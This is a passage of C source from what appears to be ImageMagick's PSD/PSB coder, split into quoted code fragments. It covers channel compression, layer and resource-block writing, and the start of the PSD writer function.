entry->flags|=CoderDecoderSeekableStreamFlag;\n entry->flags|=CoderEncoderSeekableStreamFlag;\n (void) RegisterMagickInfo(entry);\n return(MagickImageCoderSignature);\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% U n r e g i s t e r P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% UnregisterPSDImage() removes format registrations made by the\n% PSD module from the list of supported formats.\n%\n% The format of the UnregisterPSDImage method is:\n%\n% UnregisterPSDImage(void)\n%\n*/\nModuleExport void UnregisterPSDImage(void)\n{\n (void) UnregisterMagickInfo(\"PSB\");\n (void) UnregisterMagickInfo(\"PSD\");\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% W r i t e P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% WritePSDImage() writes an image in the Adobe Photoshop encoded image format.\n%\n% The format of the WritePSDImage method is:\n%\n% MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image,\n% ExceptionInfo *exception)\n%\n% A description of each parameter follows.\n%\n% o image_info: the image info.\n%\n% o image: The image.\n%\n% o exception: return any errors or warnings in this structure.\n%\n*/", "static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image,\n const size_t offset)\n{\n if (psd_info->version == 1)\n return(WriteBlobMSBShort(image,(unsigned short) offset));\n return(WriteBlobMSBLong(image,(unsigned int) offset));\n}", "static inline ssize_t WritePSDOffset(const PSDInfo *psd_info,Image *image,\n const MagickSizeType size,const MagickOffsetType offset)\n{\n MagickOffsetType\n current_offset;", " ssize_t\n result;", " current_offset=TellBlob(image);\n (void) SeekBlob(image,offset,SEEK_SET);\n if (psd_info->version == 1)\n result=WriteBlobMSBShort(image,(unsigned short) size);\n else\n result=WriteBlobMSBLong(image,(unsigned int) size);\n (void) SeekBlob(image,current_offset,SEEK_SET);\n return(result);\n}", "static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image,\n const MagickSizeType size)\n{\n if (psd_info->version == 1)\n return(WriteBlobLong(image,(unsigned int) size));\n return(WriteBlobLongLong(image,size));\n}", "static inline ssize_t WritePSDSize(const PSDInfo *psd_info,Image *image,\n const MagickSizeType size,const MagickOffsetType offset)\n{\n MagickOffsetType\n current_offset;", " ssize_t\n result;", " current_offset=TellBlob(image);\n (void) SeekBlob(image,offset,SEEK_SET);\n result=SetPSDSize(psd_info,image,size);\n (void) SeekBlob(image,current_offset,SEEK_SET);\n return(result);\n}", "static size_t PSDPackbitsEncodeImage(Image *image,const size_t length,\n const unsigned char *pixels,unsigned char *compact_pixels,\n ExceptionInfo *exception)\n{\n int\n count;", " ssize_t\n i,\n j;", " unsigned char\n *q;", " unsigned char\n *packbits;", " /*\n Compress pixels with Packbits encoding.\n */\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(pixels != (unsigned char *) NULL);\n assert(compact_pixels != (unsigned char *) NULL);\n packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits));\n if (packbits == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n q=compact_pixels;\n for (i=(ssize_t) length; i != 0; )\n {\n switch (i)\n {\n case 1:\n {\n i--;\n *q++=(unsigned char) 0;\n *q++=(*pixels);\n break;\n }\n case 2:\n {\n i-=2;\n *q++=(unsigned char) 1;\n *q++=(*pixels);\n *q++=pixels[1];\n break;\n }\n case 3:\n {\n i-=3;\n if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2)))\n {\n *q++=(unsigned char) ((256-3)+1);\n *q++=(*pixels);\n break;\n }\n *q++=(unsigned char) 2;\n *q++=(*pixels);\n *q++=pixels[1];\n *q++=pixels[2];\n break;\n }\n default:\n {\n if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2)))\n {\n /*\n Packed run.\n */\n count=3;\n while (((ssize_t) count < i) && (*pixels == *(pixels+count)))\n {\n count++;\n if (count >= 127)\n break;\n }\n i-=count;\n *q++=(unsigned char) ((256-count)+1);\n *q++=(*pixels);\n pixels+=count;\n break;\n }\n /*\n Literal run.\n */\n count=0;\n while ((*(pixels+count) != *(pixels+count+1)) ||\n (*(pixels+count+1) != *(pixels+count+2)))\n {\n packbits[count+1]=pixels[count];\n count++;\n if (((ssize_t) count >= (i-3)) || (count >= 127))\n break;\n }\n i-=count;\n *packbits=(unsigned char) (count-1);\n for (j=0; j <= (ssize_t) count; j++)\n *q++=packbits[j];\n pixels+=count;\n break;\n }\n }\n }\n *q++=(unsigned char) 128; /* EOD marker */\n packbits=(unsigned char *) RelinquishMagickMemory(packbits);\n return((size_t) (q-compact_pixels));\n}", "static size_t WriteCompressionStart(const PSDInfo *psd_info,Image *image,\n const Image *next_image,const CompressionType compression,\n const ssize_t channels)\n{\n size_t\n length;", " ssize_t\n i,\n y;", " if (compression == RLECompression)\n {\n length=(size_t) WriteBlobShort(image,RLE);\n for (i=0; i < channels; i++)\n for (y=0; y < (ssize_t) next_image->rows; y++)\n length+=SetPSDOffset(psd_info,image,0);\n }\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n else if (compression == ZipCompression)\n length=(size_t) WriteBlobShort(image,ZipWithoutPrediction);\n#endif\n else\n length=(size_t) WriteBlobShort(image,Raw);\n return(length);\n}", "static size_t WritePSDChannel(const PSDInfo *psd_info,\n const ImageInfo *image_info,Image *image,Image *next_image,\n const QuantumType quantum_type, unsigned char *compact_pixels,\n MagickOffsetType size_offset,const MagickBooleanType separate,\n const CompressionType compression,ExceptionInfo *exception)\n{\n MagickBooleanType\n monochrome;", " QuantumInfo\n *quantum_info;", " const Quantum\n *p;", " ssize_t\n i;", " size_t\n count,\n length;", " ssize_t\n y;", " unsigned char\n *pixels;", "#ifdef MAGICKCORE_ZLIB_DELEGATE", " int\n flush,\n level;", " unsigned char\n *compressed_pixels;", " z_stream\n stream;", " compressed_pixels=(unsigned char *) NULL;\n flush=Z_NO_FLUSH;\n#endif\n count=0;\n if (separate != MagickFalse)\n {\n size_offset=TellBlob(image)+2;\n count+=WriteCompressionStart(psd_info,image,next_image,compression,1);\n }\n if (next_image->depth > 8)\n next_image->depth=16;\n monochrome=IsImageMonochrome(image) && (image->depth == 1) ?\n MagickTrue : MagickFalse;\n quantum_info=AcquireQuantumInfo(image_info,next_image);\n if (quantum_info == (QuantumInfo *) NULL)\n return(0);\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n if (compression == ZipCompression)\n {\n compressed_pixels=(unsigned char *) AcquireQuantumMemory(\n MagickMinBufferExtent,sizeof(*compressed_pixels));\n if (compressed_pixels == (unsigned char *) NULL)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n return(0);\n }\n memset(&stream,0,sizeof(stream));\n stream.data_type=Z_BINARY;\n level=Z_DEFAULT_COMPRESSION;\n if ((image_info->quality > 0 && image_info->quality < 10))\n level=(int) image_info->quality;\n if (deflateInit(&stream,level) != Z_OK)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n compressed_pixels=(unsigned char *) RelinquishMagickMemory(\n compressed_pixels);\n return(0);\n }\n }\n#endif\n for (y=0; y < (ssize_t) next_image->rows; y++)\n {\n p=GetVirtualPixels(next_image,0,y,next_image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (monochrome != MagickFalse)\n for (i=0; i < (ssize_t) length; i++)\n pixels[i]=(~pixels[i]);\n if (compression == RLECompression)\n {\n length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels,\n exception);\n count+=WriteBlob(image,length,compact_pixels);\n size_offset+=WritePSDOffset(psd_info,image,length,size_offset);\n }\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n else if (compression == ZipCompression)\n {\n stream.avail_in=(uInt) length;\n stream.next_in=(Bytef *) pixels;\n if (y == (ssize_t) next_image->rows-1)\n flush=Z_FINISH;\n do {\n stream.avail_out=(uInt) MagickMinBufferExtent;\n stream.next_out=(Bytef *) compressed_pixels;\n if (deflate(&stream,flush) == Z_STREAM_ERROR)\n break;\n length=(size_t) MagickMinBufferExtent-stream.avail_out;\n if (length > 0)\n count+=WriteBlob(image,length,compressed_pixels);\n } while (stream.avail_out == 0);\n }\n#endif\n else\n count+=WriteBlob(image,length,pixels);\n }\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n if (compression == ZipCompression)\n {\n (void) deflateEnd(&stream);\n compressed_pixels=(unsigned char *) RelinquishMagickMemory(\n compressed_pixels);\n }\n#endif\n quantum_info=DestroyQuantumInfo(quantum_info);\n return(count);\n}", "static unsigned char *AcquireCompactPixels(const Image *image,\n ExceptionInfo *exception)\n{\n size_t\n packet_size;", " unsigned char\n *compact_pixels;", " packet_size=image->depth > 8UL ? 2UL : 1UL;\n compact_pixels=(unsigned char *) AcquireQuantumMemory((9*\n image->columns)+1,packet_size*sizeof(*compact_pixels));\n if (compact_pixels == (unsigned char *) NULL)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n ResourceLimitError,\"MemoryAllocationFailed\",\"`%s'\",image->filename);\n }\n return(compact_pixels);\n}", "static size_t WritePSDChannels(const PSDInfo *psd_info,\n const ImageInfo *image_info,Image *image,Image *next_image,\n MagickOffsetType size_offset,const MagickBooleanType separate,\n ExceptionInfo *exception)\n{\n CompressionType\n compression;", " Image\n *mask;", " MagickOffsetType\n rows_offset;", " size_t\n channels,\n count,\n length,\n offset_length;", " unsigned char\n *compact_pixels;", " count=0;\n offset_length=0;\n rows_offset=0;\n compact_pixels=(unsigned char *) NULL;\n compression=next_image->compression;\n if (image_info->compression != UndefinedCompression)\n compression=image_info->compression;\n if (compression == RLECompression)\n {\n compact_pixels=AcquireCompactPixels(next_image,exception);\n if (compact_pixels == (unsigned char *) NULL)\n return(0);\n }\n channels=1;\n if (separate == MagickFalse)\n {\n if ((next_image->storage_class != PseudoClass) ||\n (IsImageGray(next_image) != MagickFalse))\n {\n if (IsImageGray(next_image) == MagickFalse)\n channels=(size_t) (next_image->colorspace == CMYKColorspace ? 4 :\n 3);\n if (next_image->alpha_trait != UndefinedPixelTrait)\n channels++;\n }\n rows_offset=TellBlob(image)+2;\n count+=WriteCompressionStart(psd_info,image,next_image,compression,\n (ssize_t) channels);\n offset_length=(next_image->rows*(psd_info->version == 1 ? 2 : 4));\n }\n size_offset+=2;\n if ((next_image->storage_class == PseudoClass) &&\n (IsImageGray(next_image) == MagickFalse))\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n IndexQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n else\n {\n if (IsImageGray(next_image) != MagickFalse)\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n GrayQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n else\n {\n if (next_image->colorspace == CMYKColorspace)\n (void) NegateCMYK(next_image,exception);", " length=WritePSDChannel(psd_info,image_info,image,next_image,\n RedQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;", " length=WritePSDChannel(psd_info,image_info,image,next_image,\n GreenQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;", " length=WritePSDChannel(psd_info,image_info,image,next_image,\n BlueQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;", " if (next_image->colorspace == CMYKColorspace)\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n BlackQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n }\n if (next_image->alpha_trait != UndefinedPixelTrait)\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n AlphaQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n }\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n if (next_image->colorspace == CMYKColorspace)\n (void) NegateCMYK(next_image,exception);\n if (separate != MagickFalse)\n {\n const char\n *property;", " property=GetImageArtifact(next_image,\"psd:opacity-mask\");\n if (property != (const char *) NULL)\n {\n mask=(Image *) GetImageRegistry(ImageRegistryType,property,\n exception);\n if (mask != (Image *) NULL)\n {\n if (compression == RLECompression)\n {\n compact_pixels=AcquireCompactPixels(mask,exception);\n if (compact_pixels == (unsigned char *) NULL)\n return(0);\n }\n length=WritePSDChannel(psd_info,image_info,image,mask,\n RedQuantum,compact_pixels,rows_offset,MagickTrue,compression,\n exception);\n (void) WritePSDSize(psd_info,image,length,size_offset);\n count+=length;\n compact_pixels=(unsigned char *) RelinquishMagickMemory(\n compact_pixels);\n }\n }\n }\n return(count);\n}", "static size_t WritePascalString(Image *image,const char *value,size_t padding)\n{\n size_t\n count,\n length;", " ssize_t\n i;", " /*\n Max length is 255.\n */\n count=0;\n length=(strlen(value) > 255UL ) ? 255UL : strlen(value);\n if (length == 0)\n count+=WriteBlobByte(image,0);\n else\n {\n count+=WriteBlobByte(image,(unsigned char) length);\n count+=WriteBlob(image,length,(const unsigned char *) value);\n }\n length++;\n if ((length % padding) == 0)\n return(count);\n for (i=0; i < (ssize_t) (padding-(length % padding)); i++)\n count+=WriteBlobByte(image,0);\n return(count);\n}", "static void WriteResolutionResourceBlock(Image *image)\n{\n double\n x_resolution,\n y_resolution;", " unsigned short\n units;", " if (image->units == PixelsPerCentimeterResolution)\n {\n x_resolution=2.54*65536.0*image->resolution.x+0.5;\n y_resolution=2.54*65536.0*image->resolution.y+0.5;\n units=2;\n }\n else\n {\n x_resolution=65536.0*image->resolution.x+0.5;\n y_resolution=65536.0*image->resolution.y+0.5;\n units=1;\n }\n (void) WriteBlob(image,4,(const unsigned char *) \"8BIM\");\n (void) WriteBlobMSBShort(image,0x03ED);\n (void) WriteBlobMSBShort(image,0);\n (void) WriteBlobMSBLong(image,16); /* resource size */\n (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5));\n (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */\n (void) WriteBlobMSBShort(image,units); /* width unit */\n (void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5));\n (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */\n (void) WriteBlobMSBShort(image,units); /* height unit */\n}", "static inline size_t WriteChannelSize(const PSDInfo *psd_info,Image *image,\n const signed short channel)\n{\n size_t\n count;", " count=(size_t) WriteBlobShort(image,(const unsigned short) channel);\n count+=SetPSDSize(psd_info,image,0);\n return(count);\n}", "static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile)\n{\n const unsigned char\n *p;", " size_t\n length;", " unsigned char\n *datum;", " unsigned int\n count,\n long_sans;", " unsigned short\n id,\n short_sans;", " length=GetStringInfoLength(bim_profile);\n if (length < 16)\n return;\n datum=GetStringInfoDatum(bim_profile);\n for (p=datum; (p >= datum) && (p < (datum+length-16)); )\n {\n unsigned char\n *q;", " q=(unsigned char *) p;\n if (LocaleNCompare((const char *) p,\"8BIM\",4) != 0)\n break;\n p=PushLongPixel(MSBEndian,p,&long_sans);\n p=PushShortPixel(MSBEndian,p,&id);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushLongPixel(MSBEndian,p,&count);\n if (id == 0x0000040f)\n {\n ssize_t\n quantum;", " quantum=PSDQuantum(count)+12;\n if ((quantum >= 12) && (quantum < (ssize_t) length))\n {\n if ((q+quantum < (datum+length-16)))\n (void) memmove(q,q+quantum,length-quantum-(q-datum));\n SetStringInfoLength(bim_profile,length-quantum);\n }\n break;\n }\n p+=count;\n if ((count & 0x01) != 0)\n p++;\n }\n}", "static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile)\n{\n const unsigned char\n *p;", " size_t\n length;", " unsigned char\n *datum;", " unsigned int\n count,\n long_sans;", " unsigned short\n id,\n short_sans;", " length=GetStringInfoLength(bim_profile);\n if (length < 16)\n return;\n datum=GetStringInfoDatum(bim_profile);\n for (p=datum; (p >= datum) && (p < (datum+length-16)); )\n {\n unsigned char\n *q;", " ssize_t\n cnt;", " q=(unsigned char *) p;\n if (LocaleNCompare((const char *) p,\"8BIM\",4) != 0)\n return;\n p=PushLongPixel(MSBEndian,p,&long_sans);\n p=PushShortPixel(MSBEndian,p,&id);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushLongPixel(MSBEndian,p,&count);\n cnt=PSDQuantum(count);\n if (cnt < 0)\n return;\n if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12)) &&\n ((ssize_t) length-(cnt+12)-(q-datum)) > 0)\n {\n (void) memmove(q,q+cnt+12,length-(cnt+12)-(q-datum));\n SetStringInfoLength(bim_profile,length-(cnt+12));\n break;\n }\n p+=count;\n if ((count & 0x01) != 0)\n p++;\n }\n}", "static const StringInfo *GetAdditionalInformation(const ImageInfo *image_info,\n Image *image,ExceptionInfo *exception)\n{\n#define PSDKeySize 5\n#define PSDAllowedLength 36", " char\n key[PSDKeySize];", " /* Whitelist of keys from: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/ */\n const char\n allowed[PSDAllowedLength][PSDKeySize] = {\n \"blnc\", \"blwh\", \"brit\", \"brst\", \"clbl\", \"clrL\", \"curv\", \"expA\", \"FMsk\",\n \"GdFl\", \"grdm\", \"hue \", \"hue2\", \"infx\", \"knko\", \"lclr\", \"levl\", \"lnsr\",\n \"lfx2\", \"luni\", \"lrFX\", \"lspf\", \"lyid\", \"lyvr\", \"mixr\", \"nvrt\", \"phfl\",\n \"post\", \"PtFl\", \"selc\", \"shpa\", \"sn2P\", \"SoCo\", \"thrs\", \"tsly\", \"vibA\"\n },\n *option;", " const StringInfo\n *info;", " MagickBooleanType\n found;", " size_t\n i;", " size_t\n remaining_length,\n length;", " StringInfo\n *profile;", " unsigned char\n *p;", " unsigned int\n size;", " info=GetImageProfile(image,\"psd:additional-info\");\n if (info == (const StringInfo *) NULL)\n return((const StringInfo *) NULL);\n option=GetImageOption(image_info,\"psd:additional-info\");\n if (LocaleCompare(option,\"all\") == 0)\n return(info);\n if (LocaleCompare(option,\"selective\") != 0)\n {\n profile=RemoveImageProfile(image,\"psd:additional-info\");\n return(DestroyStringInfo(profile));\n }\n length=GetStringInfoLength(info);\n p=GetStringInfoDatum(info);\n remaining_length=length;\n length=0;\n while (remaining_length >= 12)\n {\n /* skip over signature */\n p+=4;\n key[0]=(char) (*p++);\n key[1]=(char) (*p++);\n key[2]=(char) (*p++);\n key[3]=(char) (*p++);\n key[4]='\\0';\n size=(unsigned int) (*p++) << 24;\n size|=(unsigned int) (*p++) << 16;\n size|=(unsigned int) (*p++) << 8;\n size|=(unsigned int) (*p++);\n size=size & 0xffffffff;\n remaining_length-=12;\n if ((size_t) size > remaining_length)\n return((const StringInfo *) NULL);\n found=MagickFalse;\n for (i=0; i < PSDAllowedLength; i++)\n {\n if (LocaleNCompare(key,allowed[i],PSDKeySize) != 0)\n continue;", " found=MagickTrue;\n break;\n }\n remaining_length-=(size_t) size;\n if (found == MagickFalse)\n {\n if (remaining_length > 0)\n p=(unsigned char *) memmove(p-12,p+size,remaining_length);\n continue;\n }\n length+=(size_t) size+12;\n p+=size;\n }\n profile=RemoveImageProfile(image,\"psd:additional-info\");\n if (length == 0)\n return(DestroyStringInfo(profile));\n SetStringInfoLength(profile,(const size_t) length);\n (void) SetImageProfile(image,\"psd:additional-info\",info,exception);\n return(profile);\n}", "static MagickBooleanType WritePSDLayersInternal(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,size_t *layers_size,\n ExceptionInfo *exception)\n{\n char\n layer_name[MagickPathExtent];", " const char\n *property;", " const StringInfo\n *info;", " Image\n *base_image,\n *next_image;", " MagickBooleanType\n status;", " MagickOffsetType\n *layer_size_offsets,\n size_offset;", " ssize_t\n i;", " size_t\n layer_count,\n layer_index,\n length,\n name_length,\n rounded_size,\n size;", " status=MagickTrue;\n base_image=GetNextImageInList(image);\n if (base_image == (Image *) NULL)\n base_image=image;\n size=0;\n size_offset=TellBlob(image);\n (void) SetPSDSize(psd_info,image,0);\n layer_count=0;\n for (next_image=base_image; next_image != NULL; )\n {\n layer_count++;\n next_image=GetNextImageInList(next_image);\n }\n if (image->alpha_trait != UndefinedPixelTrait)\n size+=WriteBlobShort(image,-(unsigned short) layer_count);\n else\n size+=WriteBlobShort(image,(unsigned short) layer_count);\n layer_size_offsets=(MagickOffsetType *) AcquireQuantumMemory(\n (size_t) layer_count,sizeof(MagickOffsetType));\n if (layer_size_offsets == (MagickOffsetType *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n layer_index=0;\n for (next_image=base_image; next_image != NULL; )\n {\n Image\n *mask;", " unsigned char\n default_color;", " unsigned short\n channels,\n total_channels;", " mask=(Image *) NULL;\n property=GetImageArtifact(next_image,\"psd:opacity-mask\");\n default_color=0;\n if (property != (const char *) NULL)\n {\n mask=(Image *) GetImageRegistry(ImageRegistryType,property,exception);\n default_color=(unsigned char) (strlen(property) == 9 ? 255 : 0);\n }\n size+=WriteBlobSignedLong(image,(signed int) next_image->page.y);\n size+=WriteBlobSignedLong(image,(signed int) next_image->page.x);\n size+=WriteBlobSignedLong(image,(signed int) (next_image->page.y+\n next_image->rows));\n size+=WriteBlobSignedLong(image,(signed int) (next_image->page.x+\n next_image->columns));\n channels=1;\n if ((next_image->storage_class != PseudoClass) &&\n (IsImageGray(next_image) == MagickFalse))\n channels=(unsigned short) (next_image->colorspace == CMYKColorspace ? 4 :\n 3);\n total_channels=channels;\n if (next_image->alpha_trait != UndefinedPixelTrait)\n total_channels++;\n if (mask != (Image *) NULL)\n total_channels++;\n size+=WriteBlobShort(image,total_channels);\n layer_size_offsets[layer_index++]=TellBlob(image);\n for (i=0; i < (ssize_t) channels; i++)\n size+=WriteChannelSize(psd_info,image,(signed short) i);\n if (next_image->alpha_trait != UndefinedPixelTrait)\n size+=WriteChannelSize(psd_info,image,-1);\n if (mask != (Image *) NULL)\n size+=WriteChannelSize(psd_info,image,-2);\n size+=WriteBlobString(image,image->endian == LSBEndian ? \"MIB8\" :\"8BIM\");\n size+=WriteBlobString(image,CompositeOperatorToPSDBlendMode(next_image));\n property=GetImageArtifact(next_image,\"psd:layer.opacity\");\n if (property != (const char *) NULL)\n {\n Quantum\n opacity;", " opacity=(Quantum) StringToInteger(property);\n size+=WriteBlobByte(image,ScaleQuantumToChar(opacity));\n (void) ApplyPSDLayerOpacity(next_image,opacity,MagickTrue,exception);\n }\n else\n size+=WriteBlobByte(image,255);\n size+=WriteBlobByte(image,0);\n size+=WriteBlobByte(image,(const unsigned char)\n (next_image->compose == NoCompositeOp ? 1 << 0x02 : 1)); /* layer properties - visible, etc. */\n size+=WriteBlobByte(image,0);\n info=GetAdditionalInformation(image_info,next_image,exception);\n property=(const char *) GetImageProperty(next_image,\"label\",exception);\n if (property == (const char *) NULL)\n {\n (void) FormatLocaleString(layer_name,MagickPathExtent,\"L%.20g\",\n (double) layer_index);\n property=layer_name;\n }\n name_length=strlen(property)+1;\n if ((name_length % 4) != 0)\n name_length+=(4-(name_length % 4));\n if (info != (const StringInfo *) NULL)\n name_length+=GetStringInfoLength(info);\n name_length+=8;\n if (mask != (Image *) NULL)\n name_length+=20;\n size+=WriteBlobLong(image,(unsigned int) name_length);\n if (mask == (Image *) NULL)\n size+=WriteBlobLong(image,0);\n else\n {\n if (mask->compose != NoCompositeOp)\n (void) ApplyPSDOpacityMask(next_image,mask,ScaleCharToQuantum(\n default_color),MagickTrue,exception);\n mask->page.y+=image->page.y;\n mask->page.x+=image->page.x;\n size+=WriteBlobLong(image,20);\n size+=WriteBlobSignedLong(image,(const signed int) mask->page.y);\n size+=WriteBlobSignedLong(image,(const signed int) mask->page.x);\n size+=WriteBlobSignedLong(image,(const signed int) (mask->rows+\n mask->page.y));\n size+=WriteBlobSignedLong(image,(const signed int) (mask->columns+\n mask->page.x));\n size+=WriteBlobByte(image,default_color);\n size+=WriteBlobByte(image,(const unsigned char)\n (mask->compose == NoCompositeOp ? 2 : 0));\n size+=WriteBlobMSBShort(image,0);\n }\n size+=WriteBlobLong(image,0);\n size+=WritePascalString(image,property,4);\n if (info != (const StringInfo *) NULL)\n size+=WriteBlob(image,GetStringInfoLength(info),\n GetStringInfoDatum(info));\n next_image=GetNextImageInList(next_image);\n }\n /*\n Now the image data!\n */\n next_image=base_image;\n layer_index=0;\n while (next_image != NULL)\n {\n length=WritePSDChannels(psd_info,image_info,image,next_image,\n layer_size_offsets[layer_index++],MagickTrue,exception);\n if (length == 0)\n {\n status=MagickFalse;\n break;\n }\n size+=length;\n next_image=GetNextImageInList(next_image);\n }\n /*\n Write the total size\n */\n if (layers_size != (size_t*) NULL)\n *layers_size=size;\n if ((size/2) != ((size+1)/2))\n rounded_size=size+1;\n else\n rounded_size=size;\n (void) WritePSDSize(psd_info,image,rounded_size,size_offset);\n layer_size_offsets=(MagickOffsetType *) RelinquishMagickMemory(\n layer_size_offsets);\n /*\n Remove the opacity mask from the registry\n */\n next_image=base_image;\n while (next_image != (Image *) NULL)\n {\n property=GetImageArtifact(next_image,\"psd:opacity-mask\");\n if (property != (const char *) NULL)\n (void) DeleteImageRegistry(property);\n next_image=GetNextImageInList(next_image);\n }\n return(status);\n}", "ModuleExport MagickBooleanType WritePSDLayers(Image * image,\n const ImageInfo *image_info,const PSDInfo *psd_info,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " status=IsRightsAuthorized(CoderPolicyDomain,WritePolicyRights,\"PSD\");\n if (status == MagickFalse)\n return(MagickTrue);\n return WritePSDLayersInternal(image,image_info,psd_info,(size_t*) NULL,\n exception);\n}", "static MagickBooleanType WritePSDImage(const ImageInfo *image_info,\n Image *image,ExceptionInfo *exception)\n{\n const StringInfo\n *icc_profile;", " MagickBooleanType\n status;", " PSDInfo\n psd_info;", " ssize_t\n i;", " size_t\n length,\n num_channels;", " StringInfo\n *bim_profile;", " /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n if (status == MagickFalse)\n return(status);\n psd_info.version=1;\n if ((LocaleCompare(image_info->magick,\"PSB\") == 0) ||\n (image->columns > 30000) || (image->rows > 30000))\n psd_info.version=2;\n (void) WriteBlob(image,4,(const unsigned char *) \"8BPS\");\n (void) WriteBlobMSBShort(image,psd_info.version); /* version */\n for (i=1; i <= 6; i++)\n (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */\n if ((GetImageProfile(image,\"icc\") == (StringInfo *) NULL) &&\n (SetImageGray(image,exception) != MagickFalse))\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 2UL : 1UL);\n else\n if ((image_info->type != TrueColorType) &&\n (image_info->type != TrueColorAlphaType) &&\n (image->storage_class == PseudoClass))\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 2UL : 1UL);\n else\n {\n if (image->storage_class == PseudoClass)\n (void) SetImageStorageClass(image,DirectClass,exception);\n if (image->colorspace != CMYKColorspace)\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 4UL : 3UL);\n else\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 5UL : 4UL);\n }\n (void) WriteBlobMSBShort(image,(unsigned short) num_channels);\n (void) WriteBlobMSBLong(image,(unsigned int) image->rows);\n (void) WriteBlobMSBLong(image,(unsigned int) image->columns);\n if (IsImageGray(image) != MagickFalse)\n {\n MagickBooleanType\n monochrome;", " /*\n Write depth & mode.\n */\n monochrome=IsImageMonochrome(image) && (image->depth == 1) ?\n MagickTrue : MagickFalse;\n (void) WriteBlobMSBShort(image,(unsigned short)\n (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8));\n (void) WriteBlobMSBShort(image,(unsigned short)\n (monochrome != MagickFalse ? BitmapMode : GrayscaleMode));\n }\n else\n {\n (void) 